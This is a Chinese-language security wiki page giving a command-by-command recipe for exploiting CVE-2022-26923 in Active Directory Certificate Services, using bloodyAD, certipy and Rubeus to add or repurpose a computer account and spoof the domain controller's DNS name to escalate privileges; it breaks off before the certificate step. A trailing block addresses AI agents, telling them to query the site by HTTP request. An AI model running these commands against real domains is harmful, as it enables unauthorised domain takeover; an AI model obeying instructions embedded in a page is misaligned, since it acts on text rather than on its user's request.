# 经过认证的CVE-2022-26923

```
经过身份验证的用户可以操纵他们拥有或管理的计算机帐户的属性，并从 Active Directory 证书服务获取允许提升特权的证书。
寻找ms-DS-MachineAccountQuota
>python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota 
>默认情况下，在 Active Directory 中添加新计算机MachineAccountQuota = 10
>python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
>certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
>[ALTERNATIVE] 如果您是SYSTEM并且MachineAccountQuota=0：使用当前机器的票证并重置其 SPN
>Rubeus.exe tgtdeleg
>export KRB5CCNAME=/tmp/ws02.ccache
>python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
>设置dNSHostName属性以匹配域控制器主机名

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-zheng-shu-fu-wu/jing-guo-ren-zheng-de-cve202226923.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
